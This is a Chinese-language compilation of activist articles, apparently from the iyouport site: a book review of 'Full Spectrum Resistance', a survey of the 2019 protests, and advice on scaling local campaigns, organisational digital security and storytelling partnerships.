Full Spectrum Resistance (vol. 1): Building Movements and Fighting to Win，这本书是对21世纪资本家阶级之疯狂采取措施的承诺，那些疯狂加强了对地球及全人类的破坏。您可以在这里下载这本书：https://t.me/iyouport/6683

这本书中包含组织手册和哲学讨论，McBay 将这些讨论与街头抗议和激进派的历史轶事交织在一起，这些轶事说明了斗争的长期性和关于如何动员的持久讨论。

它同时呼吁从自由派行动主义转向直接行动，并邀请自由派活动家超越他们的舒适区，以便有机会阻止即将来临的灾难。这本书中引用了丰富的历史抗议故事。

简而言之，自由派行动主义不仅被证明是无效的，并且，它实际上反而是加强了它假装反对的制度。

虽然这种观点对于左派激进主义者和革命者来说并不陌生，但对它的重复，再次证明了它的真实性。

在这个历史时刻，激进派的左翼战略手册似乎非常有用。McBay 的书中写得很清楚，就是为达到这个目的。

如上所述，讨论的范围从纯粹实际的组织结构和安全性到关于战术和道德哲学的更宏大的对话。

从文本中可以清楚地看出，McBay 不仅参与了各种激进组织和抗议活动，而且经历过许多他所评论的情况。

从群体内部的人际关系到具有不同政治和方法的群体之间的关系，这本书在覆盖所有这些方面做得都不错。

Full Spectrum Resistance 第一章的标题是“争取胜利”。这就是本文的原因和目的：建立一个致力于在世界上创造革命性社会变革的多维运动。

大多数关心这类事的人都明白，无论我们多么假装，也无法否认，能做这件事的时间已经越来越短了。

如果我们要与那些似乎有意摧毁世界以获取利益的人战斗，那么，我们不仅要战斗，而且必须争取胜利。

要做到这一点，需要适当的工具和愿望。 Aric McBay 的书至少提供了值得参考的一部分。〇

Ron Jacobs 是《Daydream Sunset: Sixties Counterculture in the Seventies》的作者

1. 行动技巧 (14)

原文

（14）新的抗议时代 - iyouport

行动技巧、战术和原理

(2019年12月26日存档) 越来越多的人站起来表达自己的不满。这一年，似乎有太多的不满此起彼伏。这意味着什么？是民主出了问题吗？也许并不是...

在年轻人的带领下，华盛顿特区的气候抗议者于9月底的两个早晨走上街头，封锁了交通。

抗议运动的第一天，示威者将自己拴在离白宫三个街区的船上，当时有32名抗议者被逮捕。

第二天，抗议者开始针对美国环保署和特朗普国际酒店。

对于那些早上被困在车里的上班族来说，这可能是个不太顺利的通勤。但是，由于国会在许多问题上仍处于两极分化状态，这一状况也在强烈地提醒人们，交通瘫痪在这个首都是健康的表现。

DC的大型抗议活动是全球气候抗议联动的一部分，估计有660万人参与。

在新西兰，有3.5%的人口参加了这场抗议。墨尔本、柏林和伦敦分别有10万人参加了集会。在西雅图，超过一千名工人走出亚马逊总部，要求该公司将其碳排放量减少到零。

站在街头抗议的不仅是工业化世界中特权阶层的孩子。

抗议活动在125个国家的1,600个城市进行，其中包括菲律宾的15个城市，整个印度、以及非洲的数千个地方。

但气候抗议只是今年举行的所有抗议活动中的一个。

自夏季开始以来，示威游行席卷了香港，发生的所有事就如你知道的那样；整个秋天，成千上万的人涌入莫斯科街头，抗议对地方选举的限制。

- 《香港：年轻的抗议者擅长抵御数字监控（附安全须知）》
- 《香港的抗议活动中再次强调了你的脸如何成为武器》
- 《中国在香港的剧本也在亚太地区上演》

还有成千上万的巴西人拥挤在主要城市的街头，谴责总统对亚马逊大火的处理，同样的愤怒促使人们聚集在世界各地的巴西大使馆前举起标语牌。

1月1日爆发的针对委内瑞拉领导人的抗议活动半年后有所减少；但罢免海地总统的示威活动日趋激烈；伊拉克安全部队已对抗议者进行了镇压，人们是在抗议其政府的腐败和效率低下。

塞尔维亚的反政府集会成为今年夏天欧洲进行时间最长的抗议活动之一。

在欧洲其他地方，黄背心抗议者继续瞄准伊曼纽尔·马克龙（Emmanuel Macron）政府，如你所知，这是一场跨年抗议。

- 关于黄背心运动《现代维稳战术一瞥》
- 《用群众维稳群众》
- 《他们不关心你的死活，因为他们是1%》
- 《谁的暴力》
- 《在绝望的边缘》
- 《黄背心事件引发在线阴险战》
- 《黄背心错失的机会》

在英国，成千上万的民众加入集会，抗议鲍里斯·约翰逊（Boris Johnson）于9月暂停议会。

同是9月，大批抗议者在南非游行，谴责暴力侵害妇女行为不断增加。

在今年年初，Women’s March 组织的抗议活动再次将愤怒集中在唐纳德·特朗普及其政府在妇女问题上的记录，而枪支管制支持者于8月在美国各地举行了“recess rallies”，以推动对枪支的更严格限制。

韩国的大规模抗议活动在2016年成功驱逐了前任首相后，今年 80万抗议者再次聚集在一起，支持陷入困境的司法部长及其改革议程。

政治分析师们几乎每天都在抱怨伴随专制政客崛起的民主价值观的下降。确实，走上街头可能表明人们不再相信普通的民主机制还能发挥作用。

但是，换一种说法，抗议活动的数量及其地理分布足够证明，**2019**年是参与、协作、和民主的标志性一年。

正如抗议者们所强调的那样，表达你的不满 —— 这就是民主本来的样子。

往前走？

「图」

五十年前，年轻人也在宣称他们为糟糕的现实而生气，不再接受它。

1968年在华沙，波兰学生游行示威，捍卫言论自由和反对警察的残暴行径。这是亚历山大·杜布切克（Alexander Dubcek）在捷克斯洛伐克进行的“人性化社会主义”改革所领导的大规模反叛运动的一部分。

德国学生在校园活动中与铁幕另一侧的反叛同伴联络；同时，在巴黎，法国学生以 “Be realistic, demand the impossible” 的口号走上街头。

这是世界范围的反抗。

在墨西哥、巴基斯坦和日本的学生都被动员起来了。反对军事独裁的首次抗议活动始于巴西。当然，反越南战争的大规模示威使美国震惊。

到现在为止，年轻人依旧对政府的镇压、战争和环境破坏的严厉政策以及系统性硬化感到不安。他们批评强加于政治上的共识 —— 这是由军政府、共产党政府、以及民主世界中自由派和保守派政治家共同构建的。

但是也有希望。

在1968年时，年轻人们就相信他们可以在社区的微观层面上创建新的社会，在新兴激进的市议会中，甚至在国家层面上，例如杜布切克在捷克斯洛伐克的实验。

那年，法国学生在巴黎的墙壁上写道：Beneath the paving stones—the beach!

1968年的许多抗议活动都以悲剧告终。波兰政府把学生们关进监狱；苏联入侵捷克斯洛伐克，结束了杜布切克的改革实验；墨西哥政府杀

死了无数学生；理查德·尼克松（Richard Nixon）在美国再次当选，越南战争又持续了七年……

今天，年轻人继续在充满不祥阴云的天空下反抗。他们并没有为了创造一个新世界而四处奔走，更多是为了拯救那个旧的不完美的世界。

如果说1968年是乌托邦抗议的一年，那么，2019年则是防止反乌托邦未来的长期努力的开端。

钳制

「图」

至少到目前为止，2019年的抗议活动并未带来太大变化。在某些国家，这种倒退令人恐惧。

在抗议活动升级的夏天，俄罗斯当局拘留了2,000人，其中大多数是年轻人。随后，绝大多数被拘留者被释放。

但是，有多人被判犯有各种罪行，包括所谓的煽动暴乱，并被判入狱数年。

21岁的抗议者埃戈尔·朱科夫（Egor Zhukov）在受审时说："我可以肯定地说，俄罗斯正在争取自由。我不知道我自己是否会被释放，但俄罗斯一定会获得解放。"

他目前正在软禁中，并被列入政府的"恐怖分子黑名单"。

10月，继续有25,000人返回莫斯科街头，要求释放在夏季被捕的所有抗议者。

当中国庆祝共产党国家成立七十周年时，香港的示威者试图以抗议行动抵制。警察第一次向人群开枪射击。一名高中生被打中了肩膀。

在被送医的51人中，至少有2人处于危急状态。到那时，抗议活动已经进行了100多天，并非完全非暴力。绝望的气氛笼罩着整个现场。

在美国，发生了一些零星的抗议活动，以支持对唐纳德·特朗普的弹劾。同时，总统的愤怒集中于近在迟尺的地方。

特朗普严厉抨击说出真相的人，这促使民主党决定继续进行弹劾调查。特朗普称中央情报局的举报人"接近间谍"、是"叛徒"。

- 《中国当局对透明度革命（举报人）的暴力污染》

特朗普公开感叹美国不再像以前那样对待叛徒（以前是判处死刑）。鉴于他愿意将自己的利益（有时是其他国家的利益）置于美国的国家利益之上，因此特朗普可能有一天会因美国改变其对叛国者的政策而感到宽慰。

- 《特朗普政府对举报人的打击上升到了全新的层次 —— 他们是如何抓捕说真话的人？⚠灾难和教训》

更糟糕的是，特朗普转推了牧师罗伯特·杰弗里斯（Robert Jeffress）的论点，即 如果弹劾总统，美国可能陷入“内战”。这是自1850年以来的第一次。

对于像弗拉基米尔·普京（Vladimir Putin）或习近平这样的独裁者来说，利用国家的手段镇压抗议活动是一回事；而民主选举产生的领导人威胁要煽动他的装备精良的支持者起来反对国家本身，这是另一回事。

与1968年一样，抗议者无法期望立竿见影的结果。波兰和捷克斯洛伐克的学生抗议者用了二十多年的时间才把镇压他们的政府赶下台。

人们已经看到，墨西哥不再是一党制的 国家，巴基斯坦或多或少算是个民主国家；尽管 Jair Bolsonaro 花了吃奶的劲头，但巴西至少目前还没有完全回到军事独裁时代。

- 中国与巴西极右翼新总统的联姻《老大哥的联盟》

但是，就气候变化而言，耐心并不是最好的策略。冰川正在不断融化。温度继续上升。极端天气事件继续发生。

你无法愚弄大自然。

1. FridaysforFuture 运动并不是一群反叛的学生。他们传达了一个统一的信息，那就是：please, for the sake of the planet, listen to your Mother!

The New Age of Protest

原文

（15）给活动家的建议：如何让你们的行动变得更强大 —— 等待关注是肯定不行的 - iyouport

行动技巧、战术和原理

（2019年6月11日存档）很少有变革推动者能在促进方面超越传统的方法和技术，并分析和解决发生变化的更大历史、经济和政治背景。综合各地社会活动方面的经验，本文提供了一些有关如何采取基于社区的变革努力进行扩展的重要意见。是的，如果没有基于当地的激进主义和前线观点，国家和全球的工作有时候就像一个没有电池的电动娃娃。你需要这两者

Police and protesters face off in Cochabamba, Bolivia, in 2000. (Photo by Thomas Kruse)

中国社会最根源的问题是封闭。从国际角度上来看，不论是政府的民族主义信息战，还是民间遭受的人权苦难，其面目都是一种受害者的形象，似乎迫切需要的只是被关心。事实上，中国社会的反抗真正需要的是力量的增强、是参与，是与国际反抗力量的并肩作战。

美国的公民社会活动家有很多技巧值得中国社会学习。希望这篇文章能带来帮助。

目前，美国的进步政治活动正在上升。在充满活力的当地社区中，问题是切实的而不是抽象的。年轻人和那些刚刚接触激进主义的人们有机会迅速发挥重要作用。

在这里，经常会将人们拉开差距的僵化意识形态界限并不那么重要，人们有机会在一个共同的事业中作为邻居聚集在一起。非常令人羡慕，这就是 **IYP** 一直期待的去意识形态隔膜，我们的团结应该建立在共同目标的基础上，而不是任何一种派系斗争。

在美国，许多地方问题仍然存在于更大的问题之中。从污染到警察暴力，社区面临的挑战是如何更好地与更大范围的力量联系在一起，并且有充分的战略理由将两者之间的点联系起来。

让我们的战斗力变得更强大，增强我们的力量。把国内反抗和全球力量结合起来，展示受其影响的真实的人和地区，将非常有益于推动本地运动。

那么，我们怎样才能使地方激进主义战斗变得更大呢？根据美国公民社会40多年来的经验，涉及不同问题和地点的激进主义有三个基本策略。

以下每一点都非常重要。

1. 扩大叙事范围

强大的激进运动的根本力量是一个强大的故事。它必须清晰、引人注目且准确。然后它必须将本地故事与更大的全球图景联系起来。

曾经的中国社会的激进力量一般程度上可以做到清晰，甚至引人注目，但是它经常不够准确，与缺乏本地独立媒体以及独立调查跟进不足有关，也与参与者的经验不足有关。突发事件出现的同时就是假消息盛行的开始，这在任何国家都不是新奇的事，但是，作为活动家和其组织，必需能够控制真相在手，并完成尽可能准确的叙事。这对你们的影响力来说是至关重要的。

- 延伸阅读：《为什么维护正义需要足够的诚实》

Cochabamba 的故事是这样的：在20世纪90年代末，世界银行强迫玻利维亚将 Cochabamba 的公共供水系统私有化，使其成为帮助扩大获得清洁水的条件。美国企业巨头柏克德（Bechtel）的子公司控制了水资源，并在一夜之间将贫困家庭的支出提高了一倍甚至更多。

大规模的公众起义令这个拥有50万人口的城市全面调动起来了，最终迫使该公司离开。为了报复，Bechtel 在世界银行的一个贸易法庭上起诉 Cochabamba 人民，这是一项价值 5000 万美元的诉讼。

Lockport 的故事是这样的：为了应对枪击事件，全国各地的学区都在忙着做一些关于安全的工作。看到机会后，一家加拿大赌场安保公司说服 Lockport 学区在一个高科技面部识别摄像系统上投入超过 270 万美元的技术教育资金，该系统与该国其他任何其他地方使用的都不同，引发了严重的隐私担忧。

就是这两个故事。

在上述两种情况下，战略是相同的—— 将实地故事与较大的参与者和问题联系起来。开始，考虑以下问题：

- 是否有公司或更大的组织在幕后推动决策？
- 哪些州或联邦法律影响当地问题？
- 当地的战斗是否反映了全国甚至全球的争论？

这就是*连接*。

活动家应该将这些问题的答案作为叙述的核心部分。

2. 加宽注意力

接下来，这个故事需要被广泛分布的媒体所吸取，这是借力，比一个社区的单打独斗更重要。

如果这是一个影响力较大的好故事，就像棱镜文件或者巴拿马文件，那么就并不需要做太多，如果不是这种程度的故事（绝大多数时候都不是），那么继续以下步骤：

- 充分的独立研究，查找报道这个故事的记者并与他们分享您的研究成果；
- 将记者与可以作为文章中可靠来源的当地居民联系起来；
- 自己撰写文章，目标是获取覆盖当地社区之外的受众的出版物发表。

回头看中国社会的问题在于两点：1、公民社会组织的运作不够积极，尤其是社区间协作不佳；2、天然地误认为媒体就应该主动去抓取“我们的故事”。这两点都是很糟糕的。

活动家的工作就是要动起来，你需要认识到媒体—尤其是那些霸占了90%市场份额的主流媒体—并不会因为你的苦难足够深刻而主动跑来关心你，他们考虑的唯一价值是报道能吸引多少流量。这是他们要的，而不是用来接受我们的道德评价的。就如主流媒体关心马云和范冰冰可以赚取充分的社会眼球，关注普通老百姓的奋斗则很难满足广告商的需求。于是活动家的工作就是要说服这些记者让他们相信，这个故事如果被发表可以做到足够轰动。

在 Bolivia，通过在远离 Cochabamba 的地区的出版物中撰写有关本地故事的文章，例如“旧金山纪事报”、 In These Times，以及民主中

心的全球电子邮件简报，以此来帮助使本地故事成为全球性的故事。

该文章很快引起了对新兴全球化问题感兴趣的其他记者的关注，并引发了纽约客和 PBS 以及一些纪录片的报道。

所有这一切都巩固了水起义作为一个全球性故事的力量。

在 Lockport 监控摄像头的灾难上，最初在当地日报上多次撰写这个问题。并使用这些文章去说服 Buffalo News 的记者让他们相信这是一个非常好的地区故事，然后该记者的作品引起了国际关注，因为来自 intercept、华盛顿邮报和 NPR 的转述报道接踵而来了。

获得这种更大的覆盖范围也会更容易在当地建立你的权力，这是一个反作用力，因为它使地方官员受到更广泛的审查，使他们感到紧张。

3. 拓宽你的联盟

本国的和全球的倡导团体需要本地故事，以真实性和权威注入其行为。你可以通过与他们结盟来帮助他们完成任务和在当地的努力。请记住，这些人是资源有限的人，因此请关注：

- 寻找符合您的问题的组织；
- 与那些对您的问题表现出兴趣的组织内的个人联系。说服他们，您需要像这样的内部倡导者将您的故事推到优先级列表中；
- 分享您的故事的简明并引人注目的摘要，以便潜在的盟友可以毫不费力地看出它是否适合他们的倡导工作。

Protesters in Cochabamba, Bolivia, in 2000. (Photo by Thomas Kruse)

在 Cochabamba 水起义的情况下，Bolivia 的团体在政策研究所、加拿大人委员会、 Public Citizen、地球正义等组织中找到了极好的盟友。他们的工作对于推动针对全球参与者（如世界银行和 Bechtel）的活动至关重要。

在 Lockport，与监控摄像机的斗争赢得了纽约公民自由联盟（NYCLU）的大力支持。该组织成为了与州教育当局之间的桥梁，带来了法律专业知识和联系。它还提出了“信息自由法”的请求，记录了该计划背后的阴暗交易。

中国的社区间协作一直都挺令人遗憾的，不仅难以跨地区，甚至难以跨行业，这是一个基本层面上的失败。一场运动发生时（不论是线上

还是线下）人们往往会首先去判断它属于草根维权？中产阶级？是女权？还是LGBT？是工人阶级？还是老兵？等等，认为自己不属于该群体的人们将以旁观者的角度去品评，而不是加盟。行动者本身也经常忽略联合的重要价值，这便很难扩充力量，同时也为当局的打压提供了精准的定位。

最后

水起义不仅取得了一次胜利，还取得了两次胜利。首先，玻利维亚人赶走了 Bechtel 公司，随后全球团结运动迫使该公司放弃其 5000 万美元的法律诉讼。

Lockport 的案子目前还在继续中。它和水起义不同，有一个时间错位，当活动家们发现这件事时地区官员已经完成了购买监视摄像机的计划。然而，由于活动家和公民社会组织及媒体的联合，促使纽约州教育部警告学区不要将该系统上线，直到官员们解决所涉及的巨大隐私问题，并且，Lockport 已经成为关于借口所谓的安全问题以实施侵权监视的国家警示故事。

假设透明度革命工作足够强劲，内部举报能够提早将问题呈现在活动家和社区面前，Lockport 的案子很可能会得到更棒的结果，从根本上阻止购买。

这两个截然不同的地方运动经验提供了关于如何将地方、国家和全球战斗之间的点联系起来的良好实践课程。

这些相同的见解可以应用于美国的气候变化问题、拉丁美洲的企业环境破坏问题、中国的民间社会维权、以及其他各种紧急战斗。

作为活动家，您应该改写陈旧的口号：在当地采取行动，但是同时要尽可能将这一斗争转化为更大区域内的一部分。您需要让反抗“走出来”，而不是原地等待聚光灯。〇

1. 行动技巧(15)

原文

（16）重要性需要被感知而不是被介绍 - iyouport

培训师指南行动技巧、战术和原理

（2019年6月12日存档）让技术社区与公民社会组织、权利组织、反抗社区、公益慈善事业等团体密切合作是非常必要的，不论是安全知识补充、应对威胁的快速响应、还是磨练技能的渗透测试，技术社区将带给社会运动和任何一种反抗者以绝对切实的力量。中国在这种有效联合方面所呈现的缺憾是完全不合理的……为什么？

在国际上，任何互联网权利组织都会告诉你，活动家、异议人士、记者和边缘社区，是在线安全协助的重点，技术社区应该准确嵌入到这些组织中以便提供稳定且可靠的帮助。但是在中国，技术社区目前为止所思考的问题很大程度上仍然是如何才能“引起人们对安全问题的关注”，而不是具体的协作效率。

这是非常滞后的。要知道，当权者一直在以技术作为武器对付我们、使用互联网前所未有的强大监视能力压制我们的一切行动，针对技术问题的解决方案只能是技术问题，如果反抗者不能做到道高一丈，注定会出师未捷，在基本层面上失去机会。

至少从 2009 年也就是十年前开始—— 阿拉伯之春就同时展示了在线民主和人权运动的几乎所有可能性和脆弱性—— 数字安全培训师和专家立刻启动以帮助世界各地的在压迫性或其他危险环境中工作的人权活动家。

我们在《为自由而战》系列中已经分析了很多著名的变革运动，关于它们如何有效地利用了互联网，并且更重要的是，巧妙地避免了来自互联网的威胁。

在美国，民间社会面临的数字安全需求不断增长，基金会往往需要追赶这一进程，而没能在防御层面起到充分的作用。结果是，即使一个组织准备好了自己来提高其数据基础设施的安全性，它也很少有资源

以任何有意义的方式实现这一计划。在中国很大程度上也一样。

虽然很多社区一直以来都在面对强大的政府监视和形形色色的骇客攻击（想想联邦调查局和小马丁路德金，或者每一代人对民主活动家和举报人的攻击）但对非营利部门数据安全的威胁更加广泛，可能比以往任何时候都严重。

移民和海关执法局（ICE）正在获得以前仅限于执法的监视工具；黑客企图通过复杂的网络钓鱼攻击破坏网络中立倡导；墨西哥反腐败组织的负责人被政府支持的间谍软件攻击；成千上万的组织将敏感的用户数据存储在不安全的数据库中，这些数据库很容易被黑客攻击暴露匿名捐赠者的信息，反之亦然，对捐助者的党派攻击会给他们的受助者及其任务带来风险。

在中国一定程度上威胁没有如此明显，最常见的状况是由于缺乏最基本的安全知识而没能做到有效匿名，导致被警方在现实中识别并受到惩罚。加之，中国没有反抗组织和群体，而异议人士是非常勇敢的，他们中很多人以“不怕喝茶”为精神，拒绝匿名保护。也因此技术社区难以起到嵌入的作用。

我们一直在撰写各种保护知识和技巧的文章，向敏感人群解释加密的消息服务、安全电子邮件的重要性、社交工程学的攻防技巧、如何保护社交媒体的帐户和宣传能力等等，这些都是必不可少的。但事实却是，有关如何使用 Signal 、保护数字隐私的大量指南、以及诸如“使用 Tor”的多项须知等等广泛声明，可能难以被非技术人士理解，更不用说采取行动了。这就形成了一个根本性的错位。

与此同时，慈善组织也很难了解究竟什么样的技术专家才是活动家、边缘社区、记者和人权维护者最需要的。

这些差距显而易见。但是没有人应该为这个差距负责。现有的数字安全资源通常是旨在帮助个人确保他们的数字足迹避免被识别所需的工具，或者在发生紧急情况和关键威胁时做出的响应。教授整个组织及其资助者—如何深入了解数字态度和习惯，如何分析敏感用户、组织和以任务为中心的数据使用、保留和共享，将更加困难。

我们要的并不是亲自动手帮助敏感人士安装一个 Whonix 就完工了，而是最终能让人们知道遇到紧急状况时应该怎么办，尤其是如何形成结盟网络，让求助变得更容易。也就是，形成能够让自己变得更强大的思考方式。

这就是为什么在这个对民间社会数字基础设施的攻击日益复杂的时代，我们需要支持在组织层面进行更大的能力建设。

无论一个组织是否有5、50或500名员工，改变习惯和改造旧系统和政策都是困难和昂贵的。改造资助者的传统思维方式会能起到作用。根据我们在解决数字安全需求和进行必要的重大变革以在线保护自己方面的经验，以下是民间社会组织及其资助者可以采取的四个步骤，以开始解决这一迫切的需求。

1. 将数字安全作为所有工作的基础

Equifax 违规行为和剑桥分析公司等选举操纵，大大地提醒了人们在线数据很容易受到各方的攻击。许多资助者和民间社会组织都知道他们需要采取行动，但他们不知道该怎么做或谁能提供帮助。

随着民间社会开始注意到这些差距，重要的是要理解数字安全工作需要资源、能源和重点。与财政责任和强有力的治理一样，数字安全战略应该成为任何组织战略规划的一部分。

2. 对大数据负有重大责任

围绕研究员 Lucy Bernholz 提出的“ 数字公民社会 ”对话，在线进行的基于工作的工作带来了所有附带的好处和陷阱—— 主要是因为每天都有越来越多的数据，像聚苯乙烯泡沫塑料一样，永远不会消失。

这些数据—— 包括个人身份信息，如姓名、电话号码、电子邮件和邮寄地址—— 不仅对善意的民间社会组织，而且对可能希望使用这些数据集监视个人的任何第三方都具有重要价值；想要揭穿 MeToo 努力或针对移民的个人或组织的攻击者经常试图识别访问组织的在线服务或社交媒体帐户的个人；最近剑桥分析公司的丑闻让人们越来越清晰地意识到，联邦机构可以访问任何看似“私人”的 Facebook 数据，当权者可以使用数据来增加他们对公共生活的束缚。

至少可以说，确保组织自身资产和信任第三方资产的需要给民间社会带来了巨大压力，以改善其安全服务—— 这正是目前管理不善的地方。然而，更多的组织需要认真负责管理他们的数据。如果不这样做，他们会让数百万他们服务的人、参与支持者和整个机构面临风险。

3. 优先考虑“能力建设”

组织通常通过引入安全培训师和/或举办有关基础知识或全新策略的

网络研讨会来响应感知到的数字安全威胁或实际攻击。

虽然这在事件响应方面通常是“触手可及”的，但通常只是培训和网络研讨会还远远不够。这种“快速解决方案”的缺点在于，随着数字和政治世界的不断快速变化以及数字安全领域的增长，新的威胁随时都在出现，并且组织面临的风险会不断变化。给定的硬件、软件、带宽和预算限制意味着简单地培训个人，而不能采用系统性的方法来处理组织的整体安全性，这使得解决动态目标（如网络漏洞）变得更加困难，

相反，我们都需要围绕能力建设进行越来越多的对话：解决结构性漏洞，避免在线对手轻松攻击您的组织。

这需要时间，但我们都可以通过将数字安全视为一个多阶段流程的能力加强建设工作以实现这一目标，包括：

1）全面了解您的组织的“威胁模型”—— 您面临的对手，他们可能想要的数据，以及面对攻击时的漏洞;

2）审核组织用于存储、共享和处理用户数据的特定系统，以及员工和成员使用的通信平台，网络和设备;

3）制定从头开始解决脆弱性的战略，而不是通过培训或一次性修复来零碎地解决。

非营利组织和受助组织，必需能在您的宣传和提案中包括数字安全计划。每个人，通过阅读知识、并与准备好的组织社区合作，开始或继续参与有关风险的对话，并在这个新的视野中等待与您的支持、建议和协作。

4. 将共同面对的威胁视为相互依赖的呼吁

最终，当我们采取上述步骤时，需要转变思路，将数字安全作为共同的目标和责任，而不是个人责任或“只有高风险群体”所承担的责任。这非常重要。

数字通信和服务的美妙之处在于它们可以帮助我们保持联系，削减成本，并以过去几代人梦寐以求的方式提供服务。但这也意味着我们深深地相互依存。无论是全球非政府组织，本地服务组织还是国家基金会，对我们的数据、支持来源或当地社区的威胁都会影响到我们所有人。考虑简单地违反基于云的电子邮件服务器，发布有关捐赠者、受助者或高危人群的信息。

在许多情况下，致力于种族平等、堕胎、移民、跨性别健康和家庭暴力的组织和运动正在取得重大进展。例如，媒体司法中心和 May First / People Link 最近推出了“捍卫我们的移动”项目，这是一个“数字自卫知识库”，可以解决有色人种社区所面临的具体威胁；全国消除家庭暴力网络安全网项目的重点是保持领先于家庭暴力幸存者面临的许多安全挑战；还有许多其他组织和网络在他们的队伍中拥有来之不易的专业知识，但如果他们的合作伙伴和捐助者不致力于解决他们自己的风险，技术社区和民间社会之间的信任将难以建立。

我们都不想成为我们自己、合作伙伴、资助者或我们服务对象的风险载体。为了防止这种情况发生，我们需要对我们的相互依赖保持切实，并共同努力保护我们的交叉社区免受这种联系和进步所带来的威胁。〇

1. 行动技巧(16)

原文

（17）利用讲述故事推动社会变革的秘诀：更好的合作伙伴关系 - iyouport

行动技巧、战术和原理

（ 2019年6月18日存档）没有任何一个组织或个人能够独自讲好一个故事。获得讲故事的预期效果需要在三个重要参与者之间建立更好的合作伙伴关系。

当 Marvel 的 Black Panther 这部电影获得惊人的观众量时，Electoral Justice 项目就看到了机会。为了推进其“建立黑人政治权力”的使命，该组织发起了#WakandaTheVote。该活动建立在电影强大的社区赋权和文化庆祝主题的基础上，并为美国各地的组织者提供了吸引潜在选民的工具。结果：从达拉斯到达勒姆的各个地方都有成千上万的人投票。

#WakandaTheVote 的力量不仅取决于使用了令人难以置信的故事，还取决于聪明的分工。Electoral Justice 项目也许可以花费数千美元来制作有关投票的视频，但是没有，相反，他们利用了现有价值数百万美元的电影，并投资于其周边的组织基础设施—— 最终大规模地覆盖了目标受众。*A social media graphic from the Electoral Justice Project’s #WakandatheVote campaign around the film Black Panther.*

我们都知道，讲故事是社会动员中激活人们热情的最有效方法之一。有效的故事将能够把我们带入一个感知度更强烈的世界。这就是为什么专制国家努力遏制独立电影和纪录片的发育，与此同时加强政权主导的故事形式叙事。回忆一下，中国官媒如何鼓励“非虚构写作”，习近平如何强调“讲好中国故事”。

很多社会部门正在加强投资“讲故事”。但仅仅讲故事是不够的。社会效应需要故事能激发人们的行动力，以推动变革。

很多组织都在努力制作令人信服的和感人的故事，与此同时，许多故事讲述者都在努力调动那些渴望采取行动的观众。但很多时候看起来并不那么容易。随着我们越来越多地接受讲故事的力量，就不仅需要

讲述更好的故事，还需要更好的合作伙伴关系。

第一步：设计科学的战略

讲故事的科学不只是告诉我们是什么让一个故事比下一个更好。它还告诉我们，要使用故事来推动信念和行为的改变，我们需要将正确的成分结合在一起。

1. 确定目标社区并讲述与他们相关的故事

人们消费有趣的信息，是因为那些信息反映了他们现有的信念，或帮助他们成为更好的自己。因此，如果我们想要有效地让人们参与到问题中来，我们就必须分享我们的目标社区最关心的有趣的故事。

例如，即将发行的纪录片 Game Changers 是一部快节奏的电影，讲述了不同的精英素食主义者运动员的故事。通过专注于激情、运动表现的共享领域，而不是道德论证，这部电影重新构建了一个关于素食主义的对话，以吸引全新的观众。

2. 选择正确的讲法

首先要找到一个有能力保持目标社区注意力的伟大故事。研究告诉我们，当故事有效地将我们带入人物世界时，它实际上可以改变我们的信念和行动意愿。

此外，在选择正确的故事时，我们需要确保它能够引发的情绪与我们的影响目标相关联。不同的情绪会导致人们不同的行为。恐惧使人们陷入“战斗或逃跑”的二选一。对大自然的敬畏使我们自我反思，并开辟新的视角。重要的是，制造者要根据问题的性质和预期的行动呼吁，有意识地选择正确的情感。

例如，我们知道幽默可以在棘手问题上缩小心理距离。美国大学 Caty Borum Chattoo 的一项研究发现，当动员新的支持来解决全球贫困问题时，一部喜剧纪录片比一部忧郁的纪录片更有效，因为它引发了人们想要感受到的积极情绪。

3. 为故事寻找合适的传播途径

研究告诉我们，信使就是信息。仅仅创建一个伟大的故事，将其发布到您的网站，然后坐等改变到来，是远远不够的。我们需要让它进入人群。将故事作为一个主题元素，发动人们创造更多的衍生作品，从化妆到旅行、从宠物到汽车，理念将被携带到各种不同的社会领域。

4. 将重要故事与明确的号召行动结合起来

行动呼吁应该具体而不是抽象，让人们感觉他们的行为会产生真正的影响，并成为人们真正知道该如何做的事。 #WakandaTheVote 是有效的，因为 Electoral Justice 进入了他们的目标受众所在的位置，并提供了具体、有意义和可行的行动呼吁：登记投票。

具体、有意义和可行，这非常重要。

第二步：抛出正确的角色

鉴于构建有效讲故事策略的所有这些关键因素，难以让它变得“正确”并不奇怪。任何一个行为者都几乎不可能做好所有这些事。我们是否应该期望电影制片人能够在一夜之间转变为世界级的联盟建设者？还是一个独立倡导组织来制作令人惊叹的故事？都不是。不是单独构建讲故事的策略，而是从催化剂成分开始：从起步阶段就建立更好的合作伙伴关系。

当我们开始设计受益于故事力量的社会活动时，我们可以将基于电影的宣传活动视为如何做好这项工作的亮点。我们需要让合适的合作伙伴扮演正确的角色。这意味着要精心铸造三个主角：讲故事的人、战略召集者和资助者。

故事讲述者

一个伟大的讲故事策略需要一个伟大的讲述者。并非所有内容都是平等的。组织经常难以讲述吸引目标社区注意力的引人入胜的故事。通常当领导者要求团队“拥抱故事”时，他们的团队会过快地开发新内容，耗费数百万美元的宣传费用来制作人们几乎看不到的故事。

与此同时，整个行业的艺术家都深深致力于这一工艺。特别是纪录片制片人通常会跟踪一个故事及其角色多年。反过来，他们最终对一个问题有了深刻的了解，并且可以为建立外展和捕捉公众想象提供一个清新的视角。

故事讲述者的角色可以做很多不同的事。这个人或团体可以识别正确的故事，其中包括分享现有电影，共同创作新剪辑，甚至完全制作新故事。故事讲述者也可以成为与观众交流的真实声音，充当吸引人们的磁铁，并分享关于问题的第一手证词。

例如，Girl Rising 是一部专题片，也是全球女童教育活动。作为故事讲述者的角色，纪录片团队与宣传团队密切合作，制作了价值数百万

美元的电影，可以将不同的活动带入生活。

该团队剪辑了较短的版本以突出特定的子主题，并制作了以当地语音为特色的新短片内容，将数百个组织连接到通常无法触及的精美、高质量的故事讲述中。

战略召集人

伟大的故事讲述需要战略思考，以了解哪些受众以及他们可以激发哪些行动呼吁。例如，让我们来看看电影宣传活动：通过传统的电影放映，一个团体邀请现有的支持者观看电影。电影播放后，有一个小组讨论。有时会有行动呼吁，通常是捐赠或签名。

相反，战略召集人可以主持电影放映，以提供组织影响力的新方式。它们可以促进社会运动，并且动员不太可能采取行动的观众行动起来。他们可以引起领导者的注意。他们可以建立创造性的新联盟，并在此过程中为政治变革建立必要的条件。

简而言之，他们可以通过拥抱我们喜欢做的事来推进各种不同的组织目标：去看电影。但要做到这一点，有人需要发挥战略召集人的重要作用。

战略召集人必须刻意设计战略，充分发挥故事的潜力。正如危机行动网络的创意联盟手册所说的那样："你是部分人才侦察员、部分管弦乐队指挥、部分体育团队教练"的综合角色。

